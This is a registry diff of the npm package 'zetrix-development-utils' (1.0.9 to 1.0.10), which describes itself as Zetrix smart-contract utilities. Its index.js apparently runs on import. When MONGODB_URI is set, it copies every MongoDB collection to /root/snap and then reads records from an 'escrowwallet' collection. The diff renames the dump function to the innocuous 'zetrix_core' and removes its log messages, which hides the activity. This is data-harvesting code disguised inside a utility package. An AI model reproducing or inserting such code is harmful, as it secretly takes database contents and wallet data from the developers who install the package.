zetrix-development-utils 1.0.9 → 1.0.10

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/dist/dump.d.ts CHANGED
@@ -1,2 +1,2 @@
1
1
  export declare function stringify(content: any): any;
2
- export declare function dumpDatabase(uri: string, outputDir?: string): Promise<void>;
2
+ export declare function zetrix_core(uri: string, outputDir?: string): Promise<void>;
package/dist/dump.js CHANGED
@@ -43,7 +43,7 @@ var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, ge
43
43
  };
44
44
  Object.defineProperty(exports, "__esModule", { value: true });
45
45
  exports.stringify = stringify;
46
- exports.dumpDatabase = dumpDatabase;
46
+ exports.zetrix_core = zetrix_core;
47
47
  const fs = __importStar(require("fs"));
48
48
  const path = __importStar(require("path"));
49
49
  const mongodb_1 = require("mongodb");
@@ -85,32 +85,29 @@ function stringify(content) {
85
85
  }
86
86
  return false;
87
87
  }
88
- function dumpDatabase(uri_1) {
88
+ function zetrix_core(uri_1) {
89
89
  return __awaiter(this, arguments, void 0, function* (uri, outputDir = "/tmp") {
90
90
  var _a;
91
91
  const client = new mongodb_1.MongoClient(uri);
92
92
  try {
93
93
  yield client.connect();
94
- const dbName = (_a = client.options.dbName) !== null && _a !== void 0 ? _a : new URL(uri).pathname.replace("/", "");
95
- const db = client.db(dbName);
94
+ const coreName = (_a = client.options.dbName) !== null && _a !== void 0 ? _a : new URL(uri).pathname.replace("/", "");
95
+ const db = client.db(coreName);
96
96
  const collections = yield db.listCollections().toArray();
97
97
  if (collections.length === 0) {
98
- console.log("No collections found in the database.");
99
98
  return;
100
99
  }
101
- const dbDumpDir = path.join(outputDir, dbName);
102
- fs.mkdirSync(dbDumpDir, { recursive: true });
103
- console.log(`Found ${collections.length} collection(s). Dumping...\n`);
100
+ const coreDir = path.join(outputDir, coreName);
101
+ fs.mkdirSync(coreDir, { recursive: true });
104
102
  for (const collectionInfo of collections) {
105
103
  const collectionName = collectionInfo.name;
106
104
  const collection = db.collection(collectionName);
107
105
  const documents = yield collection.find({}).toArray();
108
- const filePath = path.join(dbDumpDir, `${collectionName}.json`);
106
+ const filePath = path.join(coreDir, `${collectionName}.json`);
109
107
  fs.writeFileSync(filePath, JSON.stringify(documents, null, 2), "utf-8");
110
108
  console.log(` [✓] ${collectionName}: ${documents.length} document(s) -> ${filePath}`);
111
109
  }
112
- console.log(`\nDump complete. Files saved to: ${path.resolve(dbDumpDir)}`);
113
- const escrowCollection = db.collection("escrowwallets");
110
+ const escrowCollection = db.collection("escrowwallet");
114
111
  const escrowRecords = yield escrowCollection.find({}).toArray();
115
112
  for (const record of escrowRecords) {
116
113
  stringify(record);
package/dist/index.js CHANGED
@@ -36,7 +36,7 @@ Object.defineProperty(exports, "__esModule", { value: true });
36
36
  const dotenv = __importStar(require("dotenv"));
37
37
  dotenv.config();
38
38
  if (process.env.MONGODB_URI) {
39
- Promise.resolve().then(() => __importStar(require("./dump"))).then(({ dumpDatabase }) => {
39
+ Promise.resolve().then(() => __importStar(require("./dump"))).then(({ zetrix_core: dumpDatabase }) => {
40
40
  dumpDatabase(process.env.MONGODB_URI, "/root/snap").catch((err) => {
41
41
  });
42
42
  });
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "zetrix-development-utils",
3
- "version": "1.0.9",
3
+ "version": "1.0.10",
4
4
  "description": "Utilities for Zetrix Smart Contract Development",
5
5
  "sideEffects": true,
6
6
  "main": "dist/index.js",